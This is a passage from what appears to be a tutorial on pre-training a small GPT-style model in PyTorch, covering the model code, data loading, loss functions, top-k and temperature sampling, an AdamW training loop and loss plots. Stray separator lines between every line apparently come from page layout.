nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
|
||||
GELU(),
|
||||
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
return self.layers(x)
|
||||
|
||||
|
||||
class TransformerBlock(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.att = MultiHeadAttention(
|
||||
d_in=cfg["emb_dim"],
|
||||
d_out=cfg["emb_dim"],
|
||||
context_length=cfg["context_length"],
|
||||
num_heads=cfg["n_heads"],
|
||||
dropout=cfg["drop_rate"],
|
||||
qkv_bias=cfg["qkv_bias"])
|
||||
self.ff = FeedForward(cfg)
|
||||
self.norm1 = LayerNorm(cfg["emb_dim"])
|
||||
self.norm2 = LayerNorm(cfg["emb_dim"])
|
||||
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
def forward(self, x):
|
||||
# Shortcut connection for attention block
|
||||
shortcut = x
|
||||
x = self.norm1(x)
|
||||
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
# Shortcut connection for feed-forward block
|
||||
shortcut = x
|
||||
x = self.norm2(x)
|
||||
x = self.ff(x)
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
return x
|
||||
|
||||
|
||||
class GPTModel(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
|
||||
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
|
||||
self.drop_emb = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
self.trf_blocks = nn.Sequential(
|
||||
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
|
||||
|
||||
self.final_norm = LayerNorm(cfg["emb_dim"])
|
||||
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
|
||||
|
||||
def forward(self, in_idx):
|
||||
batch_size, seq_len = in_idx.shape
|
||||
tok_embeds = self.tok_emb(in_idx)
|
||||
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
|
||||
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_emb(x)
|
||||
x = self.trf_blocks(x)
|
||||
x = self.final_norm(x)
|
||||
logits = self.out_head(x)
|
||||
return logits
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
```python
|
||||
# Download contents to train the data with
|
||||
import os
|
||||
import urllib.request
|
||||
|
||||
file_path = "the-verdict.txt"
|
||||
url = "https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt"
|
||||
|
||||
if not os.path.exists(file_path):
|
||||
with urllib.request.urlopen(url) as response:
|
||||
text_data = response.read().decode('utf-8')
|
||||
with open(file_path, "w", encoding="utf-8") as file:
|
||||
file.write(text_data)
|
||||
else:
|
||||
with open(file_path, "r", encoding="utf-8") as file:
|
||||
text_data = file.read()
|
||||
|
||||
total_characters = len(text_data)
|
||||
tokenizer = tiktoken.get_encoding("gpt2")
|
||||
total_tokens = len(tokenizer.encode(text_data))
|
||||
|
||||
print("Data downloaded")
|
||||
print("Characters:", total_characters)
|
||||
print("Tokens:", total_tokens)
|
||||
|
||||
# Model initialization
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
"context_length": 256, # Shortened context length (orig: 1024)
|
||||
"emb_dim": 768, # Embedding dimension
|
||||
"n_heads": 12, # Number of attention heads
|
||||
"n_layers": 12, # Number of layers
|
||||
"drop_rate": 0.1, # Dropout rate
|
||||
"qkv_bias": False # Query-key-value bias
|
||||
}
|
||||
|
||||
torch.manual_seed(123)
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
model.eval()
|
||||
print ("Model initialized")
|
||||
|
||||
|
||||
# Functions to transform from tokens to ids and from to ids to tokens
|
||||
def text_to_token_ids(text, tokenizer):
|
||||
encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
|
||||
encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
|
||||
return encoded_tensor
|
||||
|
||||
def token_ids_to_text(token_ids, tokenizer):
|
||||
flat = token_ids.squeeze(0) # remove batch dimension
|
||||
return tokenizer.decode(flat.tolist())
|
||||
|
||||
|
||||
|
||||
# Define loss functions
|
||||
def calc_loss_batch(input_batch, target_batch, model, device):
|
||||
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
|
||||
logits = model(input_batch)
|
||||
loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
|
||||
return loss
|
||||
|
||||
|
||||
def calc_loss_loader(data_loader, model, device, num_batches=None):
|
||||
total_loss = 0.
|
||||
if len(data_loader) == 0:
|
||||
return float("nan")
|
||||
elif num_batches is None:
|
||||
num_batches = len(data_loader)
|
||||
else:
|
||||
# Reduce the number of batches to match the total number of batches in the data loader
|
||||
# if num_batches exceeds the number of batches in the data loader
|
||||
num_batches = min(num_batches, len(data_loader))
|
||||
for i, (input_batch, target_batch) in enumerate(data_loader):
|
||||
if i < num_batches:
|
||||
loss = calc_loss_batch(input_batch, target_batch, model, device)
|
||||
total_loss += loss.item()
|
||||
else:
|
||||
break
|
||||
return total_loss / num_batches
|
||||
|
||||
|
||||
# Apply Train/validation ratio and create dataloaders
|
||||
train_ratio = 0.90
|
||||
split_idx = int(train_ratio * len(text_data))
|
||||
train_data = text_data[:split_idx]
|
||||
val_data = text_data[split_idx:]
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
train_loader = create_dataloader_v1(
|
||||
train_data,
|
||||
batch_size=2,
|
||||
max_length=GPT_CONFIG_124M["context_length"],
|
||||
stride=GPT_CONFIG_124M["context_length"],
|
||||
drop_last=True,
|
||||
shuffle=True,
|
||||
num_workers=0
|
||||
)
|
||||
|
||||
val_loader = create_dataloader_v1(
|
||||
val_data,
|
||||
batch_size=2,
|
||||
max_length=GPT_CONFIG_124M["context_length"],
|
||||
stride=GPT_CONFIG_124M["context_length"],
|
||||
drop_last=False,
|
||||
shuffle=False,
|
||||
num_workers=0
|
||||
)
|
||||
|
||||
|
||||
# Sanity checks
|
||||
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
|
||||
print("Not enough tokens for the training loader. "
|
||||
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
|
||||
"increase the `training_ratio`")
|
||||
|
||||
if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
|
||||
print("Not enough tokens for the validation loader. "
|
||||
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
|
||||
"decrease the `training_ratio`")
|
||||
|
||||
print("Train loader:")
|
||||
for x, y in train_loader:
|
||||
print(x.shape, y.shape)
|
||||
|
||||
print("\nValidation loader:")
|
||||
for x, y in val_loader:
|
||||
print(x.shape, y.shape)
|
||||
|
||||
train_tokens = 0
|
||||
for input_batch, target_batch in train_loader:
|
||||
train_tokens += input_batch.numel()
|
||||
|
||||
val_tokens = 0
|
||||
for input_batch, target_batch in val_loader:
|
||||
val_tokens += input_batch.numel()
|
||||
|
||||
print("Training tokens:", train_tokens)
|
||||
print("Validation tokens:", val_tokens)
|
||||
print("All tokens:", train_tokens + val_tokens)
|
||||
|
||||
|
||||
# Indicate the device to use
|
||||
if torch.cuda.is_available():
|
||||
device = torch.device("cuda")
|
||||
elif torch.backends.mps.is_available():
|
||||
device = torch.device("mps")
|
||||
else:
|
||||
device = torch.device("cpu")
|
||||
|
||||
print(f"Using {device} device.")
|
||||
|
||||
model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
|
||||
|
||||
|
||||
|
||||
# Pre-calculate losses without starting yet
|
||||
torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
|
||||
|
||||
with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
|
||||
train_loss = calc_loss_loader(train_loader, model, device)
|
||||
val_loss = calc_loss_loader(val_loader, model, device)
|
||||
|
||||
print("Training loss:", train_loss)
|
||||
print("Validation loss:", val_loss)
|
||||
|
||||
|
||||
# Functions to train the data
|
||||
def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
|
||||
eval_freq, eval_iter, start_context, tokenizer):
|
||||
# Initialize lists to track losses and tokens seen
|
||||
train_losses, val_losses, track_tokens_seen = [], [], []
|
||||
tokens_seen, global_step = 0, -1
|
||||
|
||||
# Main training loop
|
||||
for epoch in range(num_epochs):
|
||||
model.train() # Set model to training mode
|
||||
|
||||
for input_batch, target_batch in train_loader:
|
||||
optimizer.zero_grad() # Reset loss gradients from previous batch iteration
|
||||
loss = calc_loss_batch(input_batch, target_batch, model, device)
|
||||
loss.backward() # Calculate loss gradients
|
||||
optimizer.step() # Update model weights using loss gradients
|
||||
tokens_seen += input_batch.numel()
|
||||
global_step += 1
|
||||
|
||||
# Optional evaluation step
|
||||
if global_step % eval_freq == 0:
|
||||
train_loss, val_loss = evaluate_model(
|
||||
model, train_loader, val_loader, device, eval_iter)
|
||||
train_losses.append(train_loss)
|
||||
val_losses.append(val_loss)
|
||||
track_tokens_seen.append(tokens_seen)
|
||||
print(f"Ep {epoch+1} (Step {global_step:06d}): "
|
||||
f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
|
||||
|
||||
# Print a sample text after each epoch
|
||||
generate_and_print_sample(
|
||||
model, tokenizer, device, start_context
|
||||
)
|
||||
|
||||
return train_losses, val_losses, track_tokens_seen
|
||||
|
||||
|
||||
def evaluate_model(model, train_loader, val_loader, device, eval_iter):
|
||||
model.eval()
|
||||
with torch.no_grad():
|
||||
train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
|
||||
val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
|
||||
model.train()
|
||||
return train_loss, val_loss
|
||||
|
||||
|
||||
def generate_and_print_sample(model, tokenizer, device, start_context):
|
||||
model.eval()
|
||||
context_size = model.pos_emb.weight.shape[0]
|
||||
encoded = text_to_token_ids(start_context, tokenizer).to(device)
|
||||
with torch.no_grad():
|
||||
token_ids = generate_text(
|
||||
model=model, idx=encoded,
|
||||
max_new_tokens=50, context_size=context_size
|
||||
)
|
||||
decoded_text = token_ids_to_text(token_ids, tokenizer)
|
||||
print(decoded_text.replace("\n", " ")) # Compact print format
|
||||
model.train()
|
||||
|
||||
|
||||
# Start training!
|
||||
import time
|
||||
start_time = time.time()
|
||||
|
||||
torch.manual_seed(123)
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
model.to(device)
|
||||
optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
|
||||
|
||||
num_epochs = 10
|
||||
train_losses, val_losses, tokens_seen = train_model_simple(
|
||||
model, train_loader, val_loader, optimizer, device,
|
||||
num_epochs=num_epochs, eval_freq=5, eval_iter=5,
|
||||
start_context="Every effort moves you", tokenizer=tokenizer
|
||||
)
|
||||
|
||||
end_time = time.time()
|
||||
execution_time_minutes = (end_time - start_time) / 60
|
||||
print(f"Training completed in {execution_time_minutes:.2f} minutes.")
|
||||
|
||||
|
||||
|
||||
# Show graphics with the training process
|
||||
import matplotlib.pyplot as plt
|
||||
from matplotlib.ticker import MaxNLocator
|
||||
import math
|
||||
def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
|
||||
fig, ax1 = plt.subplots(figsize=(5, 3))
|
||||
ax1.plot(epochs_seen, train_losses, label="Training loss")
|
||||
ax1.plot(
|
||||
epochs_seen, val_losses, linestyle="-.", label="Validation loss"
|
||||
)
|
||||
ax1.set_xlabel("Epochs")
|
||||
ax1.set_ylabel("Loss")
|
||||
ax1.legend(loc="upper right")
|
||||
ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
|
||||
ax2 = ax1.twiny()
|
||||
ax2.plot(tokens_seen, train_losses, alpha=0)
|
||||
ax2.set_xlabel("Tokens seen")
|
||||
fig.tight_layout()
|
||||
plt.show()
|
||||
|
||||
# Compute perplexity from the loss values
|
||||
train_ppls = [math.exp(loss) for loss in train_losses]
|
||||
val_ppls = [math.exp(loss) for loss in val_losses]
|
||||
# Plot perplexity over tokens seen
|
||||
plt.figure()
|
||||
plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
|
||||
plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
|
||||
plt.xlabel('Tokens Seen')
|
||||
plt.ylabel('Perplexity')
|
||||
plt.title('Perplexity over Training')
|
||||
plt.legend()
|
||||
plt.show()
|
||||
|
||||
epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
|
||||
plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
|
||||
|
||||
|
||||
torch.save({
|
||||
"model_state_dict": model.state_dict(),
|
||||
"optimizer_state_dict": optimizer.state_dict(),
|
||||
},
|
||||
"/tmp/model_and_optimizer.pth"
|
||||
)
|
||||
```
|
||||
|
||||
Let's see an explanation step by step
|
||||
|
||||
### Functions to transform text <--> ids
|
||||
|
||||
These are some simple functions that can be used to transform from texts from the vocabulary to ids and backwards. This is needed at the begging of the handling of the text and at the end fo the predictions:
|
||||
|
||||
```python
|
||||
# Functions to transform from tokens to ids and from to ids to tokens
|
||||
def text_to_token_ids(text, tokenizer):
|
||||
encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
|
||||
encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
|
||||
return encoded_tensor
|
||||
|
||||
def token_ids_to_text(token_ids, tokenizer):
|
||||
flat = token_ids.squeeze(0) # remove batch dimension
|
||||
return tokenizer.decode(flat.tolist())
|
||||
```
|
||||
|
||||
### Generate text functions
|
||||
|
||||
In a previos section a function that just got the **most probable token** after getting the logits. However, this will mean that for each entry the same output is always going to be generated which makes it very deterministic.
|
||||
|
||||
The following `generate_text` function, will apply the `top-k` , `temperature` and `multinomial` concepts.
|
||||
|
||||
- The **`top-k`** means that we will start reducing to `-inf` all the probabilities of all the tokens expect of the top k tokens. So, if k=3, before making a decision only the 3 most probably tokens will have a probability different from `-inf`.
|
||||
- The **`temperature`** means that every probability will be divided by the temperature value. A value of `0.1` will improve the highest probability compared with the lowest one, while a temperature of `5` for example will make it more flat. This helps to improve to variation in responses we would like the LLM to have.
|
||||
- After applying the temperature, a **`softmax`** function is applied again to make all the reminding tokens have a total probability of 1.
|
||||
- Finally, instead of choosing the token with the biggest probability, the function **`multinomial`** is applied to **predict the next token according to the final probabilities**. So if token 1 had a 70% of probabilities, token 2 a 20% and token 3 a 10%, 70% of the times token 1 will be selected, 20% of the times it will be token 2 and 10% of the times will be 10%.
|
||||
|
||||
```python
|
||||
# Generate text function
|
||||
def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None):
|
||||
|
||||
# For-loop is the same as before: Get logits, and only focus on last time step
|
||||
for _ in range(max_new_tokens):
|
||||
idx_cond = idx[:, -context_size:]
|
||||
with torch.no_grad():
|
||||
logits = model(idx_cond)
|
||||
logits = logits[:, -1, :]
|
||||
|
||||
# New: Filter logits with top_k sampling
|
||||
if top_k is not None:
|
||||
# Keep only top_k values
|
||||
top_logits, _ = torch.topk(logits, top_k)
|
||||
min_val = top_logits[:, -1]
|
||||
logits = torch.where(logits < min_val, torch.tensor(float("-inf")).to(logits.device), logits)
|
||||
|
||||
# New: Apply temperature scaling
|
||||
if temperature > 0.0:
|
||||
logits = logits / temperature
|
||||
|
||||
# Apply softmax to get probabilities
|
||||
probs = torch.softmax(logits, dim=-1) # (batch_size, context_len)
|
||||
|
||||
# Sample from the distribution
|
||||
idx_next = torch.multinomial(probs, num_samples=1) # (batch_size, 1)
|
||||
|
||||
# Otherwise same as before: get idx of the vocab entry with the highest logits value
|
||||
else:
|
||||
idx_next = torch.argmax(logits, dim=-1, keepdim=True) # (batch_size, 1)
|
||||
|
||||
if idx_next == eos_id: # Stop generating early if end-of-sequence token is encountered and eos_id is specified
|
||||
break
|
||||
|
||||
# Same as before: append sampled index to the running sequence
|
||||
idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1)
|
||||
|
||||
return idx
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> There is a common alternative to `top-k` called [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), also known as nucleus sampling, which instead of getting k samples with the most probability, it **organizes** all the resulting **vocabulary** by probabilities and **sums** them from the highest probability to the lowest until a **threshold is reached**.
|
||||
>
|
||||
> Then, **only those words** of the vocabulary will be considered according to their relative probabilities 
|
||||
>
|
||||
> This allows to not need to select a number of `k` samples, as the optimal k might be different on each case, but **only a threshold**.
|
||||
>
|
||||
> _Note that this improvement isn't included in the previous code._
|
||||
|
||||
> [!NOTE]
|
||||
> Another way to improve the generated text is by using **Beam search** instead of the greedy search sued in this example.\
|
||||
> Unlike greedy search, which selects the most probable next word at each step and builds a single sequence, **beam search keeps track of the top 𝑘 k highest-scoring partial sequences** (called "beams") at each step. By exploring multiple possibilities simultaneously, it balances efficiency and quality, increasing the chances of **finding a better overall** sequence that might be missed by the greedy approach due to early, suboptimal choices.
|
||||
>
|
||||
> _Note that this improvement isn't included in the previous code._
|
||||
|
||||
### Loss functions
|
||||
|
||||
The **`calc_loss_batch`** function calculates the cross entropy of the a prediction of a single batch.\
|
||||
The **`calc_loss_loader`** gets the cross entropy of all the batches and calculates the **average cross entropy**.
|
||||
|
||||
```python
|
||||
# Define loss functions
|
||||
def calc_loss_batch(input_batch, target_batch, model, device):
|
||||
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
|
||||
logits = model(input_batch)
|
||||
loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
|
||||
return loss
|
||||
|
||||
def calc_loss_loader(data_loader, model, device, num_batches=None):
|
||||
total_loss = 0.
|
||||
if len(data_loader) == 0:
|
||||
return float("nan")
|
||||
elif num_batches is None:
|
||||
num_batches = len(data_loader)
|
||||
else:
|
||||
# Reduce the number of batches to match the total number of batches in the data loader
|
||||
# if num_batches exceeds the number of batches in the data loader
|
||||
num_batches = min(num_batches, len(data_loader))
|
||||
for i, (input_batch, target_batch) in enumerate(data_loader):
|
||||
if i < num_batches:
|
||||
loss = calc_loss_batch(input_batch, target_batch, model, device)
|
||||
total_loss += loss.item()
|
||||
else:
|
||||
break
|
||||
return total_loss / num_batches
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> **Gradient clipping** is a technique used to enhance **training stability** in large neural networks by setting a **maximum threshold** for gradient magnitudes. When gradients exceed this predefined `max_norm`, they are scaled down proportionally to ensure that updates to the model’s parameters remain within a manageable range, preventing issues like exploding gradients and ensuring more controlled and stable training.
|
||||
>
|
||||
> _Note that this improvement isn't included in the previous code._
|
||||
>
|
||||
> Check the following example:
|
||||
|
||||
<figure><img src="../../images/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Loading Data
|
||||
|
||||
The functions `create_dataloader_v1` and `create_dataloader_v1` were already discussed in a previous section.
|
||||
|
||||
From here note how it's defined that 90% of the text is going to be used for training while the 10% will be used for validation and both sets are stored in 2 different data loaders.\
|
||||
Note that some times part of the data set is also left for a testing set to evaluate better the performance of the model.
|
||||
|
||||
Both data loaders are using the same batch size, maximum length and stride and num workers (0 in this case).\
|
||||
The main differences are the data used by each, and the the validators is not dropping the last neither shuffling the data is it's not needed for validation purposes.
|
||||
|
||||
Also the fact that **stride is as big as the context length**, means that there won't be overlapping between contexts used to train the data (reduces overfitting but also the training data set).
|
||||
|
||||
Moreover, note that the batch size in this case it 2 to divide the data in 2 batches, the main goal of this is to allow parallel processing and reduce the consumption per batch.
|
||||
|
||||
```python
|
||||
train_ratio = 0.90
|
||||
split_idx = int(train_ratio * len(text_data))
|
||||
train_data = text_data[:split_idx]
|
||||
val_data = text_data[split_idx:]
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
train_loader = create_dataloader_v1(
|
||||
train_data,
|
||||
batch_size=2,
|
||||
max_length=GPT_CONFIG_124M["context_length"],
|
||||
stride=GPT_CONFIG_124M["context_length"],
|
||||
drop_last=True,
|
||||
shuffle=True,
|
||||
num_workers=0
|
||||
)
|
||||
|
||||
val_loader = create_dataloader_v1(
|
||||
val_data,
|
||||
batch_size=2,
|
||||
max_length=GPT_CONFIG_124M["context_length"],
|
||||
stride=GPT_CONFIG_124M["context_length"],
|
||||
drop_last=False,
|
||||
shuffle=False,
|
||||
num_workers=0
|
||||
)
|
||||
```
|
||||
|
||||
## Sanity Checks
|
||||
|
||||
The goal is to check there are enough tokens for training, shapes are the expected ones and get some info about the number of tokens used for training and for validation:
|
||||
|
||||
```python
|
||||
# Sanity checks
|
||||
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
|
||||
print("Not enough tokens for the training loader. "
|
||||
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
|
||||
"increase the `training_ratio`")
|
||||
|
||||
if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
|
||||
print("Not enough tokens for the validation loader. "
|
||||
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
|
||||
"decrease the `training_ratio`")
|
||||
|
||||
print("Train loader:")
|
||||
for x, y in train_loader:
|
||||
print(x.shape, y.shape)
|
||||
|
||||
print("\nValidation loader:")
|
||||
for x, y in val_loader:
|
||||
print(x.shape, y.shape)
|
||||
|
||||
train_tokens = 0
|
||||
for input_batch, target_batch in train_loader:
|
||||
train_tokens += input_batch.numel()
|
||||
|
||||
val_tokens = 0
|
||||
for input_batch, target_batch in val_loader:
|
||||
val_tokens += input_batch.numel()
|
||||
|
||||
print("Training tokens:", train_tokens)
|
||||
print("Validation tokens:", val_tokens)
|
||||
print("All tokens:", train_tokens + val_tokens)
|
||||
```
|
||||
|
||||
### Select device for training & pre calculations
|
||||
|
||||
The following code just select the device to use and calculates a training loss and validation loss (without having trained anything yet) as a starting point.
|
||||
|
||||
```python
|
||||
# Indicate the device to use
|
||||
|
||||
if torch.cuda.is_available():
|
||||
device = torch.device("cuda")
|
||||
elif torch.backends.mps.is_available():
|
||||
device = torch.device("mps")
|
||||
else:
|
||||
device = torch.device("cpu")
|
||||
|
||||
print(f"Using {device} device.")
|
||||
|
||||
model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
|
||||
|
||||
# Pre-calculate losses without starting yet
|
||||
torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
|
||||
|
||||
with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
|
||||
train_loss = calc_loss_loader(train_loader, model, device)
|
||||
val_loss = calc_loss_loader(val_loader, model, device)
|
||||
|
||||
print("Training loss:", train_loss)
|
||||
print("Validation loss:", val_loss)
|
||||
```
|
||||
|
||||
### Training functions
|
||||
|
||||
The function `generate_and_print_sample` will just get a context and generate some tokens in order to get a feeling about how good is the model at that point. This is called by `train_model_simple` on each step.
|
||||
|
||||
The function `evaluate_model` is called as frequently as indicate to the training function and it's used to measure the train loss and the validation loss at that point in the model training.
|
||||
|
||||
Then the big function `train_model_simple` is the one that actually train the model. It expects:
|
||||
|
||||
- The train data loader (with the data already separated and prepared for training)
|
||||
- The validator loader
|
||||
- The **optimizer** to use during training: This is the function that will use the gradients and will update the parameters to reduce the loss. In this case, as you will see, `AdamW` is used, but there are many more.
|
||||
- `optimizer.zero_grad()` is called to reset the gradients on each round to not accumulate them.
|
||||
- The **`lr`** param is the **learning rate** which determines the **size of the steps** taken during the optimization process when updating the model's parameters. A **smaller** learning rate means the optimizer **makes smaller updates** to the weights, which can lead to more **precise** convergence but might **slow down** training. A **larger** learning rate can speed up training but **risks overshooting** the minimum of the loss function (**jump over** the point where the loss function is minimized).
|
||||
- **Weight Decay** modifies the **Loss Calculation** step by adding an extra term that penalizes large weights. This encourages the optimizer to find solutions with smaller weights, balancing between fitting the data well and keeping the model simple preventing overfitting in machine learning models by discouraging the model from assigning too much importance to any single feature.
|
||||
- Traditional optimizers like SGD with L2 regularization couple weight decay with the gradient of the loss function. However, **AdamW** (a variant of Adam optimizer) decouples weight decay from the gradient update, leading to more effective regularization.
|
||||
- The device to use for training
|
||||
- The number of epochs: Number of times to go over the training data
|
||||
- The evaluation frequency: The frequency to call `evaluate_model`
|
||||
- The evaluation iteration: The number of batches to use when evaluating the current state of the model when calling `generate_and_print_sample`
|
||||
- The start context: Which the starting sentence to use when calling `generate_and_print_sample`
|
||||
- The tokenizer
|
||||
|
||||
```python
|
||||
# Functions to train the data
|
||||
def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
|
||||
eval_freq, eval_iter, start_context, tokenizer):
|
||||
# Initialize lists to track losses and tokens seen
|
||||
train_losses, val_losses, track_tokens_seen = [], [], []
|
||||
tokens_seen, global_step = 0, -1
|
||||
|
||||
# Main training loop
|
||||
for epoch in range(num_epochs):
|
||||
model.train() # Set model to training mode
|
||||
|
||||
for input_batch, target_batch in train_loader:
|
||||
optimizer.zero_grad() # Reset loss gradients from previous batch iteration
|
||||
loss = calc_loss_batch(input_batch, target_batch, model, device)
|
||||
loss.backward() # Calculate loss gradients
|
||||
optimizer.step() # Update model weights using loss gradients
|
||||
tokens_seen += input_batch.numel()
|
||||
global_step += 1
|
||||
|
||||
# Optional evaluation step
|
||||
if global_step % eval_freq == 0:
|
||||
train_loss, val_loss = evaluate_model(
|
||||
model, train_loader, val_loader, device, eval_iter)
|
||||
train_losses.append(train_loss)
|
||||
val_losses.append(val_loss)
|
||||
track_tokens_seen.append(tokens_seen)
|
||||
print(f"Ep {epoch+1} (Step {global_step:06d}): "
|
||||
f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
|
||||
|
||||
# Print a sample text after each epoch
|
||||
generate_and_print_sample(
|
||||
model, tokenizer, device, start_context
|
||||
)
|
||||
|
||||
return train_losses, val_losses, track_tokens_seen
|
||||
|
||||
|
||||
def evaluate_model(model, train_loader, val_loader, device, eval_iter):
|
||||
model.eval() # Set in eval mode to avoid dropout
|
||||
with torch.no_grad():
|
||||
train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
|
||||
val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
|
||||
model.train() # Back to training model applying all the configurations
|
||||
return train_loss, val_loss
|
||||
|
||||
|
||||
def generate_and_print_sample(model, tokenizer, device, start_context):
|
||||
model.eval() # Set in eval mode to avoid dropout
|
||||
context_size = model.pos_emb.weight.shape[0]
|
||||
encoded = text_to_token_ids(start_context, tokenizer).to(device)
|
||||
with torch.no_grad():
|
||||
token_ids = generate_text(
|
||||
model=model, idx=encoded,
|
||||
max_new_tokens=50, context_size=context_size
|
||||
)
|
||||
decoded_text = token_ids_to_text(token_ids, tokenizer)
|
||||
print(decoded_text.replace("\n", " ")) # Compact print format
|
||||
model.train() # Back to training model applying all the configurations
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> To improve the learning rate there are a couple relevant techniques called **linear warmup** and **cosine decay.**
|
||||
>
|
||||
> **Linear warmup** consist on define an initial learning rate and a maximum one and consistently update it after each epoch. This is because starting the training with smaller weight updates decreases the risk of the model encountering large, destabilizing updates during its training phase.\
|
||||
> **Cosine decay** is a technique that **gradually reduces the learning rate** following a half-cosine curve **after the warmup** phase, slowing weight updates to **minimize the risk of overshooting** the loss minima and ensure training stability in later phases.
|
||||
>
|
||||
> _Note that these improvements aren't included in the previous code._
|
||||
|
||||
### Start training
|
||||
|
||||
```python
|
||||
import time
|
||||
start_time = time.time()
|
||||
|
||||
torch.manual_seed(123)
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
model.to(device)
|
||||
optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
|
||||
|
||||
num_epochs = 10
|
||||
train_losses, val_losses, tokens_seen = train_model_simple(
|
||||
model, train_loader, val_loader, optimizer, device,
|
||||
num_epochs=num_epochs, eval_freq=5, eval_iter=5,
|
||||
start_context="Every effort moves you", tokenizer=tokenizer
|
||||
)
|
||||
|
||||
end_time = time.time()
|
||||
execution_time_minutes = (end_time - start_time) / 60
|
||||
print(f"Training completed in {execution_time_minutes:.2f} minutes.")
|
||||
```
|
||||
|
||||
### Print training evolution
|
||||
|
||||
With the following function it's possible to print the evolution of the model while it was being trained.
|
||||
|
||||
```python
|
||||
import matplotlib.pyplot as plt
|
||||
from matplotlib.ticker import MaxNLocator
|
||||
import math
|
||||
def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
|
||||
fig, ax1 = plt.subplots(figsize=(5, 3))
|
||||
ax1.plot(epochs_seen, train_losses, label="Training loss")
|
||||
ax1.plot(
|
||||
epochs_seen, val_losses, linestyle="-.", label="Validation loss"
|
||||
)
|
||||
ax1.set_xlabel("Epochs")
|
||||
ax1.set_ylabel("Loss")
|
||||
ax1.legend(loc="upper right")
|
||||
ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
|
||||
ax2 = ax1.twiny()
|
||||
ax2.plot(tokens_seen, train_losses, alpha=0)
|
||||
ax2.set_xlabel("Tokens seen")
|
||||
fig.tight_layout()
|
||||
plt.show()
|
||||
|
||||
# Compute perplexity from the loss values
|
||||
train_ppls = [math.exp(loss) for loss in train_losses]
|
||||
val_ppls = [math.exp(loss) for loss in val_losses]
|
||||
# Plot perplexity over tokens seen
|
||||
plt.figure()
|
||||
plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
|
||||
plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
|
||||
plt.xlabel('Tokens Seen')
|
||||
plt.ylabel('Perplexity')
|
||||
plt.title('Perplexity over Training')
|
||||
plt.legend()
|
||||
